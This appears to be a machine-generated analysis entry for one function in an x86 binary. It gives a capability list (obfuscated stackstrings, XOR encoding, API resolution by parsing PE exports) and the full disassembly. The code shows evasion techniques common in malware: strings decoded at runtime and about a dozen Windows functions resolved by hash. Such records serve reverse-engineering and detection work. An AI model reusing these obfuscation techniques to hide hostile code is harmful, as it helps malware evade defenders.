Function at 0x40aa90
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x198
mov eax, dword [0x440014]
mov dword [esp + 0x10], 0x9be39917
mov dword [esp + 0x14], 0x97ee95e2
mov dword [esp + 0x18], 0x931e911c
mov dword [esp + 0x1c], 0xaf98addc
mov dword [esp + 0x20], 0xabdea9d4
mov dword [esp + 0x24], 0xa7a6a5d0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1f
ja 0x40ab41
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x10]
mov esi, 0x6b
sub esi, ecx
add ecx, 0x82ba6594
xor esi, ecx
and esi, edx
xor esi, ecx
mov dword [esp + 0x114], esi
mov ecx, dword [esp + 0x114]
add cl, 0xf4
mov edx, dword [esp]
mov byte [esp + edx + 0x10], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x20
jb 0x40ab00
lea edi, [esp + 0x10]
push 0x800
push 0
push edi
call eax
mov ecx, 0x43ffdc
push eax
call fcn.00433350
xor ebx, ebx
test al, al
je 0x40b278
push 0xd16c9e6b
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x43ffe4], eax
push 0x2b39326b
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x43ffe8], eax
push 0x20eddf4
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x43ffec], eax
push 0x6f420210
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x43fff0], eax
push 0xbb4ac2a9
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x43fff4], eax
push 0xe03c21ff
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x43fff8], eax
push 0xb35fc6e6
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x43fffc], eax
push 0xe3a9b6db
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x440000], eax
push 0xe81e9fc0
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x440004], eax
push 0x70f53c13
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x440008], eax
push 0xb54b293a
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x44000c], eax
push 0x9b73555b
push dword [0x43ffdc]
call fcn.00435170
add esp, 8
mov dword [0x440010], eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [esp + 0x114]
push eax
push dword [ebx + 0x4395ec]
call fcn.0042f580
add esp, 8
lea esi, [esp + 0x113]
nop
nop
nop
cmp byte [esi + 1], 0
lea esi, [esi + 1]
jne 0x40acb0
mov dword [esp], 0
mov eax, edi
lea ecx, [esp + 0x114]
cmp ecx, esi
jae 0x40ad2e
mov dword [esp + 4], ebx
xor ebx, ebx
lea edi, [esp + 0x114]
nop
nop
nop
nop
nop
nop
cmp byte [edi], 0
je 0x40ad20
mov eax, esp
push eax
push esi
push edi
call fcn.0040ce00
add esp, 0xc
movzx edx, word [esp]
lea ecx, [ebx + 2]
mov word [esp + ebx + 0x10], dx
cmp ebx, 0xfb
ja 0x40ad0e
add edi, eax
mov ebx, ecx
cmp edi, esi
jb 0x40ace0
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40ad26
lea eax, [esp + ebx]
add eax, 0x10
mov ebx, dword [esp + 4]
lea edi, [esp + 0x10]
mov word [eax], 0
push edi
call fcn.0040b290
add esp, 4
test al, al
jne 0x40afd4
add ebx, 4
cmp ebx, 0x24
jne 0x40ac90
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x9b169900
mov dword [esp + 0x14], 0x97069518
mov dword [esp + 0x18], 0x93589103
mov dword [esp + 0x1c], 0x8f598d5b
mov dword [esp + 0x20], 0x8b06891b
mov dword [esp + 0x24], 0x87678519
mov dword [esp + 0x28], 0x83618115
mov dword [esp + 0x2c], 0xbf2bbd2b
mov dword [esp + 0x30], 0xbb37b92d
mov dword [esp + 0x34], 0xb72fb522
mov dword [esp + 0x38], 0xb33bb13c
mov dword [esp + 0x3c], 0xaf4dad7a
mov dword [esp + 0x40], 0xab3fa93f
mov dword [esp + 0x44], 0xa736a573
mov dword [esp + 0x48], 0xa335a132
mov dword [esp + 0x4c], 0x5fc75dc2
mov dword [esp + 0x50], 0x5bc759cc
mov dword [esp + 0x54], 0x578155c7
mov dword [esp + 0x58], 0x539c519f
mov dword [esp + 0x5c], 0x4f804d81
mov dword [esp + 0x60], 0x4b9b4999
mov dword [esp + 0x64], 0x478f458d
mov dword [esp + 0x68], 0x4390418f
mov dword [esp + 0x6c], 0x7fad7db0
mov dword [esp + 0x70], 0x7bab79ab
mov dword [esp + 0x74], 0x77a675bd
mov dword [esp + 0x78], 0x737271a0
mov byte [esp + 0x84], 0
mov dword [esp + 0x80], 0
mov dword [esp + 0x7c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x74
ja 0x40aeaf
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x10]
mov edx, 0x3b
sub edx, eax
add eax, 0xe416b6c4
xor edx, eax
and edx, ecx
xor edx, eax
mov dword [esp + 0x114], edx
mov eax, dword [esp + 0x114]
add al, 0xa4
mov ecx, dword [esp]
mov byte [esp + ecx + 0x10], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x75
jb 0x40ae70
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
lea edi, [esp + 0x10]
push eax
push ecx
push edi
call fcn.0040b900
add esp, 0xc
test al, al
je 0x40b00d
mov dword [esp + 0x10], 0x4c2420da
mov dword [esp + 0x14], 0x534d8958
mov dword [esp + 0x18], 0xa0595849
mov dword [esp + 0x1c], 0x53454684
mov dword [esp + 0x20], 0x5a58426d
mov dword [esp + 0x24], 0x4a4e424a
mov dword [esp + 0x28], 0x525b4f4f
mov dword [esp + 0x2c], 0x4c435640
mov word [esp + 0x30], 0xb790
mov byte [esp + 0x32], 0xf4
mov dword [esp + 0x33], 0
mov dword [esp + 0x37], 0
mov dword [esp + 0x3b], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x2e
ja 0x40af8f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x10]
mov edx, 0xc2
sub edx, eax
add eax, 0x1886973d
xor edx, eax
and edx, ecx
xor edx, eax
mov dword [esp + 0x114], edx
mov eax, dword [esp + 0x114]
add al, 0x55
mov ecx, dword [esp]
mov byte [esp + ecx + 0x10], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x2f
jb 0x40af50
mov ecx, dword [esp + 8]
movzx ebx, byte [esp + 0x10]
test bl, bl
je 0x40b014
mov edx, edi
mov eax, ecx
jmp 0x40afb7
movzx ebx, byte [edx]
test bl, bl
je 0x40b016
mov bh, byte [ecx]
test bh, bh
je 0x40b26a
inc ecx
inc edx
lea esi, [eax + 1]
cmp bh, bl
je 0x40afce
mov eax, esi
mov ecx, esi
je 0x40afb0
mov edx, edi
jmp 0x40afb0
movzx ecx, word [esp + 0x10]
mov eax, 0x440018
test cx, cx
je 0x40b001
lea edx, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40aff0
mov word [eax], 0
mov bl, 1
jmp 0x40b278
xor ebx, ebx
jmp 0x40b278
mov eax, ecx
test eax, eax
je 0x40b26a
mov dword [esp + 4], eax
mov dword [esp + 0x10], 0x73712e3c
mov dword [esp + 0x14], 0xc7386b65
mov dword [esp + 0x18], 0
mov byte [esp + 0x1c], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xc
ja 0x40b08f
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x10]
mov edx, 0x5f
sub edx, eax
add eax, 0x9ee90ca0
xor edx, eax
and edx, ecx
xor edx, eax
mov dword [esp + 0x114], edx
mov eax, dword [esp + 0x114]
add al, 0xa0
mov ecx, dword [esp]
mov byte [esp + ecx + 0x10], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xd
jb 0x40b050
movzx ebx, byte [esp + 0x10]
mov ecx, dword [esp + 4]
test bl, bl
je 0x40b0d4
lea edx, [esp + 0x10]
mov esi, edx
mov ecx, dword [esp + 4]
mov eax, ecx
jmp 0x40b0b7
movzx ebx, byte [esi]
test bl, bl
je 0x40b0d4
mov bh, byte [eax]
test bh, bh
je 0x40b26a
inc eax
inc esi
lea edi, [ecx + 1]
cmp bh, bl
je 0x40b0ce
mov ecx, edi
mov eax, edi
je 0x40b0b0
mov esi, edx
jmp 0x40b0b0
test ecx, ecx
je 0x40b26a
mov byte [ecx], 0
mov ecx, 0xfffffffe
mov eax, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + ecx + 0x24], 0
lea ecx, [ecx + 1]
jne 0x40b0f0
mov edx, ecx
inc edx
je 0x40b1a9
test ecx, ecx
je 0x40b175
mov esi, edx
and edx, 0xfffffffe
mov edi, edx
xor edx, edx
jmp 0x40b12b
add bh, 0x61
mov bl, bh
mov byte [esp + edx + 0x115], bl
add edx, 2
mov eax, edi
cmp edi, edx
mov eax, dword [esp + 4]
je 0x40b179
movzx ebx, byte [eax + edx + 0x22]
mov eax, ebx
add al, 0x9f
cmp al, 0x19
ja 0x40b14c
mov bh, bl
add bh, 0xae
cmp bh, 0x1a
jb 0x40b147
add bl, 0x94
mov bh, bl
add bh, 0x61
mov bl, bh
mov byte [esp + edx + 0x114], bl
mov eax, dword [esp + 4]
movzx ebx, byte [eax + edx + 0x23]
mov eax, ebx
add al, 0x9f
cmp al, 0x19
ja 0x40b117
mov bh, bl
add bh, 0xae
cmp bh, 0x1a
jb 0x40b112
add bl, 0x94
mov bh, bl
jmp 0x40b112
mov esi, edx
xor edx, edx
mov ebx, esi
test bl, 1
je 0x40b1a9
movzx eax, byte [eax + edx + 0x22]
mov ah, al
add ah, 0x9f
cmp ah, 0x19
ja 0x40b1a2
mov ah, al
add ah, 0xae
cmp ah, 0x1a
jb 0x40b19d
add al, 0x94
mov ah, al
add ah, 0x61
mov al, ah
mov byte [esp + edx + 0x114], al
mov byte [esp + ecx + 0x115], 0
lea ebx, [esp + 0x113]
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x40b1c0
mov dword [esp], 0
lea ecx, [esp + 0x10]
lea esi, [esp + 0x114]
mov eax, ecx
cmp esi, ebx
jae 0x40b220
xor edi, edi
cmp byte [esi], 0
je 0x40b216
mov eax, esp
push eax
push ebx
push esi
call fcn.0040ce00
add esp, 0xc
movzx edx, word [esp]
lea ecx, [edi + 2]
mov word [esp + edi + 0x10], dx
cmp edi, 0x7b
ja 0x40b20e
add esi, eax
mov edi, ecx
cmp esi, ebx
jb 0x40b1e3
lea eax, [esp + ecx]
add eax, 0x10
jmp 0x40b21c
lea eax, [esp + edi]
add eax, 0x10
lea ecx, [esp + 0x10]
mov word [eax], 0
push ecx
call fcn.0040b290
add esp, 4
test al, al
je 0x40b26a
movzx ecx, word [esp + 0x10]
mov eax, 0x440018
test cx, cx
je 0x40b261
lea edx, [esp + 0x12]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x40b250
mov word [eax], 0
mov bl, 1
jmp 0x40b26c
xor ebx, ebx
push dword [esp + 8]
call fcn.00432090
add esp, 4
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret